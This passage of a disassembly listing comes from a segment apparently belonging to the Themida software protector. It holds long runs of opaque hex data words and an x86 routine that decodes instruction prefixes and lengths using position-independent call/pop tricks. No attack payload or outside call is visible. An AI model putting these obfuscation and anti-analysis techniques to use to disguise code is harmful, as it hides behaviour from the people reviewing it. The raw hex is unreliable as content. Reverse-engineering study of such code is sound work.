60CA8h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 60CA8E9h dd 6, 24E9h, 0ED858D00h, 50060CA8h, 0A93D858Dh, 5650060Ch dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 0CA8E985h dd 0B5036106h, 60CA8E9h, 0A8E5858Bh, 0C35D060Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_595DC9 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_595DD5 ; --------------------------------------------------------------------------- loc_595DC9: ; CODE XREF: Themida_:00595DB2j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_595DD5: ; CODE XREF: Themida_:00595DC4j push ebx push esi push edi loc_595DD8: ; CODE XREF: Themida_:00595E2Dj ; Themida_:00595E49j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_595DEB: ; CODE XREF: Themida_:00595E12j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 60CAA4Fh lea ebp, [ebp+60CA8C5h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_595E18 inc cl cmp cl, 0Bh jb loc_595DEB loc_595E18: ; CODE XREF: Themida_:00595E07j cmp cl, 0Bh jz loc_595E75 cmp al, 66h jnz loc_595E56 cmp byte ptr [ebp-5], 0 jnz loc_595DD8 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_595E4E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_595DD8 ; --------------------------------------------------------------------------- loc_595E4E: ; CODE XREF: Themida_:00595E3Bj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_595E56: ; CODE XREF: Themida_:00595E23j cmp al, 67h jnz loc_595DD8 cmp byte ptr [ebp-6], 0 jnz loc_595DD8 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_595DD8 ; --------------------------------------------------------------------------- loc_595E75: ; CODE XREF: Themida_:00595E1Bj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_595EA1 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_595EA6 ; --------------------------------------------------------------------------- loc_595EA1: ; CODE XREF: Themida_:00595E80j movzx edi, al shr edi, 1 loc_595EA6: ; CODE XREF: Themida_:00595E9Cj push ebp call $+5 pop ebp sub ebp, 60CAB07h lea ebp, [ebp+60CA7C5h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_596028 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_595F6C dec ecx jz loc_595F4F dec ecx jnz loc_595FBF cmp byte ptr [ebp-2], 0 jnz loc_595FBB cmp byte ptr [ebp-5], 0 jz loc_595F2E mov byte ptr [ebp+0Bh], 2 loc_595F2E: ; CODE XREF: Themida_:00595F24j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 60CAB93h mov dword ptr [ebp+60CA8E5h], 1 pop ebp jmp loc_595FBF ; --------------------------------------------------------------------------- loc_595F4F: ; CODE XREF: Themida_:00595F09j cmp byte ptr [ebp-2], 0 jnz loc_595F99 cmp byte ptr [ebp-5], 0 jz loc_595F99 mov byte ptr [ebp+0Bh], 2 jmp loc_595F99 ; --------------------------------------------------------------------------- loc_595F6C: ; CODE XREF: Themida_:00595F02j cmp byte ptr [ebp-2], 0 jnz loc_595FB2 cmp byte ptr [ebp-5], 0 jz loc_595FA1 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_595F99 mov [ebp+0Bh], cl loc_595F99: ; CODE XREF: Themida_:00595F53j ; Themida_:00595F5Dj ... inc byte ptr [ebp+0Bh] jmp loc_595FBF ; --------------------------------------------------------------------------- loc_595FA1: ; CODE XREF: Themida_:00595F7Aj cmp dl, 5 jnz loc_595FBF mov [ebp+0Bh], dl jmp loc_595FBF ; --------------------------------------------------------------------------- loc_595FB2: ; CODE XREF: Themida_:00595F70j cmp dl, 6 jnz loc_595FBF loc_595FBB: ; CODE XREF: Themida_:00595F1Aj mov byte ptr [ebp+0Bh], 3 loc_595FBF: ; CODE XREF: Themida_:00595F10j ; Themida_:00595F4Aj ... dec byte ptr [ebp+0Bh] jz loc_595FED movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_595FCF: ; CODE XREF: Themida_:00595FE5j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_595FCF mov esi, edx loc_595FED: ; CODE XREF: Themida_:00595FC2j and al, 0FEh cmp al, 0F6h jnz loc_596022 cmp edi, 7Fh ja loc_596022 test bl, 38h jnz loc_596022 cmp byte ptr [ebp-7], 0 jz loc_59601C movzx eax, byte ptr [ebp-4] jmp loc_59601F ; --------------------------------------------------------------------------- loc_59601C: ; CODE XREF: Themida_:0059600Dj push 1 pop eax loc_59601F: ; CODE XREF: Themida_:00596017j mov [ebp-1], al loc_596022: ; CODE XREF: Themida_:00595FF1j ; Themida_:00595FFAj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_596028: ; CODE XREF: Themida_:00595ED2j mov al, bl and eax, 7 sub eax, 4 jz loc_596053 dec eax dec eax jz loc_596049 and bl, 7 add [ebp-1], bl jmp loc_59605B ; --------------------------------------------------------------------------- loc_596049: ; CODE XREF: Themida_:00596038j mov al, [ebp-3] add al, 6 jmp loc_596058 ; --------------------------------------------------------------------------- loc_596053: ; CODE XREF: Themida_:00596030j mov al, [ebp-3] add al, 4 loc_596058: ; CODE XREF: Themida_:0059604Ej add [ebp-1], al loc_59605B: ; CODE XREF: Themida_:00596044j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_596083 movzx ecx, byte ptr [ebp-1] inc ecx loc_59606E: ; CODE XREF: Themida_:0059607Dj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59606E loc_596083: ; CODE XREF: Themida_:00596063j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 0D08Bh dd 0ADD58D8Dh, 6A060Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 82A720C3h, 418D891Dh, 6A06071Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 4C93C350h, 0AEBEB752h, 8E9h, 0F0807500h dd 0CF2EF1E1h, 585C730h, 3C060706h, 6A000067h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 5B75C357h, 5CEFF6FCh, 8B1DAAC4h, 7218995h, 6985C706h dd 60700h, 0F8000000h, 31BD8501h, 0B5FF0607h, 6072985h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C4C35646h dd 951388F3h, 8CE5AA5Ch, 0A59D8B07h, 0FF06072Bh, 701E195h dd 0C810F06h, 0F000000h, 68Fh, 7DB50100h, 6A060717h, 195FF00h dd 8B060732h, 160AEBC0h, 5762FD1Eh, 718A5C75h, 0CA8D8D57h dd 6A060CAEh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 7E45C356h, 8F34435h, 8924A240h dd 71B418Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7FD36481h, 0C7F18BACh, 7060585h dd 66A006h, 0C7DA8B00h, 7006985h, 6, 0F98B6600h, 11E8h dd 329C6400h, 69D98DD3h, 911706C9h, 8368AFh, 6E921AFh dd 37000000h, 677D9F16h, 0B5FF5A31h, 60712DDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9C35747h, 9EA62C7Bh dd 1E195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2D518CC3h, 6604029Ah, 0E3DFD781h dd 95FF006Ah, 6073201h, 68EBC08Bh, 0B8DC5998h, 0CFBF7D27h dd 0FD03923Bh, 92950135h, 0BD299D2Dh, 0EF7D573Ah, 1B1CDCDDh dd 0A522B05Ch, 4D4106Ch, 0B7A1F999h, 20E5D647h, 0AF54332Dh dd 9911BB35h, 74129B8Ch, 6F84B8F3h, 0CC5B254Dh, 0B2641AC4h dd 47791659h, 2B81178h, 0B89B42EAh, 0C96B469Ch, 1F776120h dd 0C0FA0E47h, 9C74C576h, 9A678062h, 0CC4D7454h, 37C308EBh dd 339C639Fh, 0CAE977E7h, 6800000Ch, 60CB0DBh, 0FACE29E9h dd 0B1DF68FFh, 1FE9060Ch, 68FFFACEh, 60CB358h, 0FACE15E9h dd 0B47E68FFh, 0BE9060Ch, 68FFFACEh, 60CB5D1h, 0FACE01E9h dd 0B82468FFh, 0F7E9060Ch, 68FFFACDh, 60CB965h, 0FACDEDE9h dd 0BA6468FFh, 0E3E9060Ch, 34FFFACDh, 0F26F77D1h, 0A5B8C096h dd 18F51D4Bh, 0D00D553Bh, 0B859A1F7h, 9CC825BEh, 0D6BA9974h dd 2177538Eh, 782E04D9h, 1AE5BF10h, 30164A4h, 0A2867CE4h dd 0B9181E44h, 20966159h, 60050DCBh, 0B0E4FD50h, 8CDA6088h dd 79C23DD7h, 390F3498h, 2E8C0F09h, 0F030AFAh, 65F46236h dd 8DDB5D0Bh, 8E7A3FB5h, 583F228Ah, 9AB5E198h, 29F9AF87h dd 44D6h, 4E51200h, 61AB7B2Dh, 81983263h, 497DFBA1h, 3F70C399h dd 0DF0F34C1h, 4CEE61D7h, 6D030AC1h, 4AD74117h, 0F53F396Fh dd 0C6A207EDh, 2067EAC2h, 0E7B5E175h, 0ECh, 0ADC2FF4Dh dd 57DFCDB7h, 26E62E7Ah, 1E44A2BCh, 85CB918h, 0EDB3930Eh dd 0C288EE6Bh, 0C470B9BAh, 5BB6050Dh, 0B32E2878h, 7C70F51h dd 6E76DC3Ah, 3C1893F3h, 0FF47B06Ah, 0BF050DCFh, 7FC94F77h dd 0A5964C69h, 0F349B48h, 326643DEh, 0CC6EE92h, 9781D72Dh dd 3DC70FDFh, 66D48ED7h, 35FAA317h, 4C9AFCFDh, 5F3EE01Fh dd 0BC182917h, 0E8FB67FDh, 3F916238h, 9B093588h, 3F18F1ABh dd 0E7C678FBh, 78860503h, 0FA835E0Eh, 0F921699Ah, 35637C91h dd 108320DCh, 558DE09h, 0A93h, 2A321679h, 638BDD37h, 0B0D88EEEh dd 0C810445Dh, 46C3815h, 96A79F5h, 0FBDE335Bh, 0B6904D95h dd 6D4598E0h, 0A440DF27h, 17BE35Bh, 0B933A303h, 0F32A17E5h dd 4D5B16FFh, 37A7809Dh, 437D03B4h, 0F372FC0Ch, 0F57B6F3h dd 518CD41Ch, 69C32B71h, 6C267F95h, 21FE7C9Eh, 0CC2FA182h dd 50D366Ah, 32D21A2Ah, 3CC68F68h, 1E260F34h, 3C1BA718h dd 7F53030Ah, 62B59275h, 0CD7CB5E2h, 0D8000000h, 8DE46741h dd 0E1295DDBh, 0F56F3F77h, 181E44A2h, 0E085CB9h, 4D1B75D4h dd 0C46D9E9Dh, 96EC050Dh, 6B63C206h, 5A82BDADh, 3C7DF32h dd 0DF78E30h, 0BEE6CE05h, 0BBF8EEB8h, 0A3F916E1h, 0AC490F34h dd 54100650h, 45B399F9h, 6BB1D901h, 9C62387Dh, 2F65A7BCh dd 0AA70108Eh, 35129049h, 0AA605009h, 0C62E7A57h, 0C6E6FE4Ch dd 78A7FB9Fh, 0BE7855A8h, 386F9BDh, 4189B905h, 111836C8h dd 6706FC09h, 98Fh, 0D63E6A7Dh, 6F77D93Bh, 0BCC492F2h dd 0F41C40A1h, 683C19h, 0D6E75F1h, 0C7223F47h, 0BA944991h dd 694984ECh, 0A044DB23h, 17AEF57h, 4D27AF03h, 0CB1341A2h dd 26A3016h, 9951B188h, 0DCB189Eh, 20685805h, 34AE7E36h dd 181E44A2h, 0EBF359B9h, 0B8520341h, 4BF34CE6h, 2D050DCBh dd 0DCB6CD2h, 68042C05h, 0A2AB8858h, 0E40F34F0h, 7F0CB616h dd 8E5E07E1h, 0FB74E2D2h, 30A0F46h, 2112B40Eh, 30A0F9Dh dd 0D135D5DDh, 2B0F74DBh, 1096B5E2h, 52000006h, 6C267F95h dd 34E95A93h, 0A7BD9C0Fh, 85AD51F1h, 88E84193h, 952506C6h dd 0DD030AEAh, 276CF3F9h, 0ABB5E188h, 292F7556h, 0E052AD7Dh dd 96000005h, 6C267F95h, 34EC6293h, 74E2D20Fh, 0AD747FBh dd 5D036603h, 341A7EDBh, 0FCF000C2h, 0CF6133B7h, 0AD7CA6Ch dd 0EABA8A03h, 0DE3306EEh, 19F393F9h, 0B5E1833Ah, 5A6C1h dd 99690700h, 9B0590F6h, 8F8572A8h, 7FF892DAh, 0F34593Eh dd 338B74CEh, 73030A61h, 3FE1B43h, 8F214BA6h, 0BB510240h dd 264A5BB8h, 912BCD85h, 184910A6h, 0F3605089h, 8918494Bh dd 0F76B3B0Bh, 0F58F49CFh, 1849B40Ah, 1CCCF489h, 7556D036h dd 0D22DE72Fh, 8321135Fh, 73253C1Dh, 4D072FD3h, 902611ABh dd 0D08F1F73h, 0C5DD20E0h, 0BC9A779Fh, 0ADD57FD6h, 0ED637F0Ch dd 81690h, 0B593FA00h, 0E50B0ADh, 5B0D6BE6h, 93F9DE33h dd 0EFB5964Bh, 0E7FC7687h, 5BB6DE8Ah, 0DC02878h, 0C61B6331h dd 0FD52BAE0h, 7866D85Bh, 0BE260301h, 0CB44A2C4h, 11E2B8E8h dd 50DCBADh, 9B9DC5EDh, 2F08DB09h, 50DCB97h, 0EDA7EFD7h dd 311A6512h, 85EDD50Fh, 1643456h, 0B02AE603h, 5472EFC3h dd 13EE242Ch, 90ED6030h, 721252C4h, 0B9C197EFh, 6B217693h dd 1B30E88h, 0C0367E03h, 77D93B16h, 3805C581h, 1D43A1DAh dd 0DC4E8DD5h, 0DD0301B3h, 964B93C1h, 0CA30EAB0h, 0E4700DA9h dd 4DAB7B80h, 16668D2h, 555FB303h, 2DE7AD85h, 583AA1DFh dd 0CB46EE0Dh, 0F3B3A5EBh, 0C0263B53h, 9F239C9Ah, 4DFCFE91h dd 16A87F75h, 0FEB19125h, 2BE1D1FCh, 0FEB176C8h, 5E0E36FCh dd 55BDE3C3h, 10C44h, 44A2FC00h, 24FE181Eh, 0DCB63DBh dd 3E132305h, 49D474DAh, 0BE31276Dh, 50DCBF8h, 0F993F9D9h dd 0BAE8CA27h, 0DCB05B9h, 9EC82405h, 3432D2E2h, 752F7492h dd 311AFD8Ah, 0EC654D0Fh, 312B66Eh, 0F0D7B6ACh, 0DC000006h dd 9A779FC9h, 4D80E8BEh, 0DD2573h, 0F8157D23h, 90A1C99Fh dd 0A4F0CDD6h, 0FEA2815Ch, 491F7B96h, 80D62C21h, 320DA778h dd 3017F8Ch, 0A2EE44CCh, 0B9181E44h, 2AE0085Ch, 37A6EC4h dd 0ECBCD787h, 76F3511h, 0B608EB8Dh, 0F6050D17h, 0E0563A1Bh dd 51AC7CA4h, 4AF5ED71h, 60D4CF88h, 203DD038h, 3A178274h dd 0A82005A8h dd 549CB2B3h, 8B6171E2h, 3E1796F3h, 70B8EC6Ah, 0FAC58268h dd 74CAFDAh, 88000000h, 775Eh, 44A2DA00h, 0BCBAEECBh, 758AB0CEh dd 0CEF64B3Dh, 0A31F9086h, 71050DB3h, 8BEB8369h, 0D0320FC5h dd 108AC282h, 0F91E242Ah, 3DED9562h, 0A690C620h, 0DDA9425h dd 94187C05h, 0A2CA98FAh, 1240A2C8h, 0B59B524h, 4BC3EB51h dd 154C6056h, 0A35EB8C7h, 0B868907Fh, 37BD25BEh, 0F51D4BA7h dd 0B2E0C25Fh, 27971112h, 8D57050Dh, 0AFDB53C7h, 0FFFEC14Ch dd 45E88FFh, 0DA000003h, 69D844A2h, 0BF282C1Fh, 0F4550F37h dd 1E18C89Eh, 0D6D2D9Dh, 951F7B05h, 5FA7EDC5h, 78FEA482h dd 0D6D0B87h, 662C0A05h, 633056F0h, 0D83A17A9h, 2C59DA8Ah dd 9C0F31BCh, 0C2813506h, 40A00301h, 906C181Eh, 7BE178A0h dd 0B903135Ch, 59D2A43h, 1C730000h, 0CB29244Ch, 84E07D85h dd 7E578AD2h, 320FC22Ah, 83FF1E66h, 9510760h, 43ABFDD4h dd 9EE6AC8Eh, 0D53D6343h, 0D95DDE7Ah, 9903017Eh, 4E5B309h dd 1EFB7D2Bh, 242A5238h, 2601E8Dh, 5CA16181h, 0BB261046h dd 6FE20A5Eh, 24394117h, 3E9B9DCBh, 7CDD77DDh, 8EC63066h dd 25FF58DEh, 0D178E8C4h, 97FD44FDh, 1A7E2E56h, 45A2BF92h dd 5BB8191Fh, 1C43CDF5h, 62EC851Fh, 59BA8747h, 3A19E30Bh dd 0C1AFDAC7h, 227h, 277C9507h, 0B19E731h, 917882F9h, 401676EBh dd 0DF0DA380h, 0A5B9061Ch, 528BC84Fh, 412AEC9h, 0D6000002h dd 0E3E17C95h, 58729A14h, 0ADF4C62Bh, 0D6601FA3h, 0DF7D165h dd 79A19105h, 7BC19B31h, 0AA308049h, 10E3B906h, 50DAFAEh dd 2506C6EEh, 50DAF91h, 0F477E1D1h, 61CAE54h, 0DCEC52E0h dd 80AEA512h, 4FD9AF91h, 0DFF570A0h, 7EE1CB0Fh, 0AEC8D819h dd 1AEE0h, 7C956400h, 10926D27h, 46050DCBh, 5DDB8DEBh dd 88B0E6FCh, 1A1C24D8h, 1CCA0BA1h, 515BBF06h, 0C96589CEh dd 98F455AEh, 769040CEh, 0C2F29179h, 1793D02h, 953B0000h dd 926D277Ch, 50DCB14h, 38DA5C64h, 0F191C721h, 1CCADA72h dd 826A6E06h, 0C965B89Fh, 97603AAEh, 0FBE33D2Fh, 0B887476Fh dd 14Bh, 8C44A2BCh, 0DCB0BB3h, 9AC82A05h, 2C14E89Ch, 8FE772E4h dd 0CB56E84Bh, 2E16050Dh, 25049EE6h, 0EB9B9DCBh, 77F3113Bh dd 99CD4B1Dh, 3B8BB51h, 430F3498h, 0FE538573h, 1615B59Bh dd 30AFAA4h, 2D04E8ECh, 0FA16A88Bh, 0DB37030Ah, 27DB8B8Dh dd 7220021Fh, 4A00C084h, 0B5E1980Dh, 2794h, 7F955000h dd 0DA936C26h, 3A0F34C1h, 2F930C0Ah, 67030AC1h, 0C1868963h dd 48B5E175h, 0B1h, 21774DACh, 35AF7F37h, 0B38C44A2h, 50DCB0Bh dd 56A17B4Bh, 50DCBE0h, 0EE6890A0h, 3ED01673h, 0DCB793Dh dd 0A093905h, 50DCBB4h, 9284CCF4h, 0FF792F07h, 365E0462h dd 0DC404C5h, 0E7AD8505h, 461F759Fh, 1CECB38Ch, 0B2100F32h dd 47EFD41h, 4D75BD03h, 21CFD97h, 4CA9B454h, 1DF018h, 0B071FD54h dd 4DC30315h, 34A30h, 0F9AF8600h, 32647C91h, 8FD9372Ah dd 0C78DEA67h, 1341A2BFh, 0B3302ACBh, 67FA0256h, 0D9345C0Ch dd 924F97FDh, 986EEB4h, 732A8C6Fh, 0FA6A0301h, 1341A200h dd 0BF3016CBh, 0DC5FF5A3h, 50DCB5Ah, 9AE22A1Ah, 1E44A220h dd 0F359B918h, 0CBD368EBh, 8FC5050Dh, 0BAC33CD6h, 7A0F34F3h dd 0A248224Ah, 0B9EFCB44h, 3C1A8771h, 0B5940E56h, 5B0B0D5Bh dd 1243818Bh, 694BA678h, 37846727h, 770F3498h, 0E456C94Fh dd 0AC030AFAh, 76DD44A8h, 3DB5E198h, 27h, 267F953Bh, 0C1DA936Ch dd 0A3A0F34h, 1E77CA0Ch, 0C898CC4Ah, 0AC1D76Bh, 31BB9F03h dd 0E175692Eh, 0D730B5h, 0A2340000h, 0F6441E44h, 4FFA1437h dd 0AFF5D1F7h, 0D041A767h, 481E74F7h, 0AB8B1600h, 48A173E5h dd 763E386Eh, 256B4BD6h, 0B7ED1EDDh, 166C050Dh, 8F623840h dd 3074E2B6h, 44F1BDCEh, 0CC9C61B3h, 0CD4B1171h, 0CB8E6D7Bh dd 65C16E43h, 43BC569Eh, 0F344A72h, 0C158F2C2h, 5B0D6BE2h dd 0F761A9DDh, 135B096Ah, 0A8811B73h, 0CE44044Ah, 3601DB98h dd 935946Dh, 62FF959Dh, 0D60B5301h, 0C6B6AFF5h, 8C09112Eh dd 209F796h, 0E0C70000h, 0A7BD50B8h, 1874E9F1h, 0CA2B264Eh dd 86E37E86h, 0EF6B8AD2h, 0A5CD9BF4h, 0FF0749A8h, 0A520062h dd 41A9FFD7h, 75C92ACEh, 35030172h, 43E5D7ADh, 0DCB4EF0h dd 66260E05h, 30EABE9Bh, 0A197FDD9h, 302D25E5h, 287C59D2h dd 0D63E662Eh, 267F955Ch, 0C1DA936Ch, 2E1C0F34h, 0D44BCDB2h dd 37AB7BAFh, 2496090Fh, 6C030AA4h, 0B69D8468h, 7DB5E1DAh dd 0CBh, 306646DBh, 44A2EA90h, 5CB9181Eh, 5C8D0E08h, 0DD050DC4h dd 58AB59C5h, 0D7411771h, 684919Fh, 1CFD97DFh, 0A1E55305h dd 1E74E9E1h, 6E64CE48h, 939C9F35h, 50F340Ch, 0CA9ACC24h dd 0D2742E16h, 89D0F06Ch, 4BC86CA7h, 30A61F3h, 0A98E83B3h dd 712B23E3h, 61DA5CDFh, 389A030Ah, 0A61873Fh, 0B7FFC703h dd 5BD73D17h, 792D2B7Dh, 2C989B31h, 980935B2h, 21FF2A8h dd 0F6D30E56h, 4BD3ABA2h, 8B810911h, 10AF2h, 0B9EFC600h dd 0F2A4BC51h, 4F1977EAh, 87CD2A27h, 0D381E27Fh, 0F3F06A8Bh dd 0A7BAC296h, 19F41C4Ch, 0D20F573Dh, 0C946AEF4h, 716ACC2Fh dd 0BA2A0301h, 0B317E5C0h, 9BD27675h, 1770CD9Dh, 0CE243941h dd 0E5FA7098h, 0F27C2A04h, 31E5F320h, 0EF721271h, 0CA57C197h dd 0B45EA6ECh, 0B54F055Eh, 12727F47h, 0F162C9DDh, 50D5B4Dh dd 0DF65250Dh, 318A175Ch, 3F0DA70Fh, 7E552FACh, 0EC52C1CEh dd 0AC030198h, 7FDA5C84h, 34293167h, 0D7634EDEh, 11541E36h dd 0FDDE33E9h, 25E5A197h, 0A55848C3h, 6D69E6B4h, 1C9FF787h dd 0A3E35503h, 0D00E2DBDh, 81C9BB7Ah, 45DA379h, 0B91DF950h dd 0AB03BB84h, 73436692h, 0A0869B4Bh, 0AB378F68h, 0DD776692h dd 92ABDC62h, 6C949C66h, 4EA73224h, 0A1BD1C1Ah, 0BE9405F3h dd 5CA46EE8h, 350D5358h, 81D72FBFh, 0D81076CBh, 92ABE75Fh dd 579FA766h, 0A4825FB7h, 43DE78FEh, 71903060h, 3, 0A2FF798Bh dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 81E38953h dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 90685C24h, 8900002Eh dd 6168242Ch, 8900001Dh, 0BB53240Ch, 5D634672h, 1691EB81h dd 0E3C13638h, 81D3F706h, 0AF3E05F3h, 81DBF704h, 6869D0F3h dd 5BDD89C8h, 240C8B54h, 5604C483h, 71895E55h, 34FF5E08h dd 0C4835924h, 242C8B04h, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFFAC172h, 0E82D3F89h, 9F7580E0h, 0BB93B882h, 0C503060Ch dd 9D3CE0FFh, 462B04C9h, 6CB62048h, 0AE353196h, 0B40C4D0Fh dd 78A54622h, 1E167F8Fh, 863D3FDCh, 0AF7F1E4Eh, 0C0967572h dd 5E65580Ch, 773F79A0h, 7FE90CE5h, 0A5F120CCh, 0CAA61544h dd 0DE82D81h, 0A9000000h, 3298DD53h, 7B2C1EB7h, 73F8D721h dd 0F58DA8Bh, 589h, 9EEBB900h, 0C08170B4h, 6C5Eh, 0A4BAF88Bh dd 81433C89h, 0C3913EC2h, 0C98060BCh, 0E98166FCh, 8B61B6BEh dd 814AB730h, 0E415BC6h, 3870F0Bh, 80000000h, 0C68107EFh dd 45CF305Ah, 1FBB6653h, 0F6815907h, 5F774F48h, 6E9h, 2D929500h dd 89BD299Dh, 0CDDB8130h, 810CBF70h, 3E5DD8E8h, 0BE92Eh dd 592D0000h, 5FACC91Fh, 7C6E445Ah, 0D4C08128h, 0F2E3E5Dh dd 28Fh, 4AFA8A00h, 13850Fh, 0E8B90000h, 0E933E241h, 35h dd 0E469EA73h, 4FE21CF5h, 10E916h, 0D8890000h, 9F589156h dd 3D48550Fh, 20241831h, 70E9B672h, 65FFFFFFh, 0F9684534h dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 168D8DC2h, 6A060CBEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 5B33C353h, 0F0DDFB02h, 8BBC1064h, 71E51B5h dd 0EE806h, 322D0000h, 0B1352D7Ah, 0E127AC71h, 56EB8FFEh dd 3085B589h, 895A0607h, 71B418Dh, 0E9958B06h, 0C706070Ah dd 7060585h, 62F406h, 0C99D8B00h, 0C706071Bh, 7006985h dd 6, 0ED950100h, 0FF060720h, 71E19B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0F35A0C74h, 95FFE7C6h, 60701E1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0F0C35242h, 1F72EBFBh, 11E98AA8h dd 0A9000000h, 0E25C0D3Fh, 0ADF7E0Fh, 0FCADC123h, 53A458C0h dd 95FF006Ah, 6073201h, 9EBC08Bh, 0ED2268C8h, 253A3B77h dd 24EB42h, 8 dup(0) dd 0E9000000h, 0BDh, 0BE26B589h, 858B060Ch, 6071995h, 32A5858Bh dd 0B58D0607h, 60CBE70h, 4DDC858Dh, 0D0FF060Ah, 0E855C3h dd 5D000000h, 0BE76ED81h, 0BD83060Ch, 6071995h, 2C850F01h dd 0FF000000h, 0CBE26B5h, 0A5858B06h, 35060732h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 2AB58D1Ch, 56060CBEh, 0BE26B5FFh, 858B060Ch dd 60732A5h, 81273635h, 83D0FF34h, 0B58D0CC4h, 60CBE2Ah dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 71995BDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 4F858DCFh, 89060CBEh, 719F585h, 98E906h dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 0C21B0000h, 81E91175h, 6800000Bh, 60CC117h, 0FABDB5E9h dd 0C1E968FFh, 0ABE9060Ch, 68FFFABDh, 60CC309h, 0FABDA1E9h dd 0C39B68FFh, 97E9060Ch, 68FFFABDh, 60CC4D4h, 0FABD8DE9h dd 0C53668FFh, 83E9060Ch, 68FFFABDh, 60CC889h, 0FABD79E9h dd 0C97D68FFh, 6FE9060Ch, 0A8FFFABDh, 66FB0345h, 0D9345C02h dd 8C41A9FFh, 4499E1B7h, 4D53D6Bh, 287C594Ah, 62360DC0h dd 0BDEBC71Ah, 0F45AB855h, 0A69133ECh, 3010B10h, 0A26AC050h dd 0B9181E44h, 0C059F359h, 0E7EFBFE1h, 5D1DDF2Dh, 17DF67D0h dd 979F050Dh, 1D3832A9h, 0D481C74Dh, 91C7233Eh, 653FEFA7h dd 3424219Ah, 0E751610Fh, 91C7DC3Dh, 3C3FEFA7h, 30A467Eh dd 77DAD236h, 0B5E1F410h, 2997h, 7F955D00h, 64CA6C26h dd 6D8BC626h, 2102C2E7h, 0F34C46Ch, 39B2A48Ch, 30AC481h dd 78DFD5C9h, 0B5E17A1Bh, 0ADE2h, 44A26600h, 5CB9181Eh dd 0B3930E08h, 4189DF38h, 266C4AD7h, 0C7121DDEh, 0EFC7050Dh dd 4F1DE3B9h, 1B86C67Ch, 3CD139E9h, 5C867026h, 0D122E4FDh dd 50D5C6Dh, 5BDD052Dh, 0B3D17B2Bh, 2ECF28E2h, 9E0F3408h dd 0AEA44E96h, 48DC5FF5h, 0EC0935ABh, 0D6330EC4h, 49A07A82h dd 7531276Dh, 396F48D5h, 11668820h, 55282E09h, 96Bh, 0EEF652B5h dd 274F1173h, 749CCA2Ah, 8CD4B899h, 0D8207451h, 45A63D39h dd 3F1AF71Fh, 0F2CC0169h, 0A1815CA4h, 983C93FBh, 10A279Fh dd 5FF6703h, 791341A2h, 0E1E628F3h, 0C3836AE0h, 2A70568Bh dd 7F9568C2h, 0DA936C26h, 3A0F34C1h, 77CA0C0Ah, 9F9C4C1Ch dd 30AC123h, 9A7D776Bh, 0B5E175BDh, 0A3153B01h, 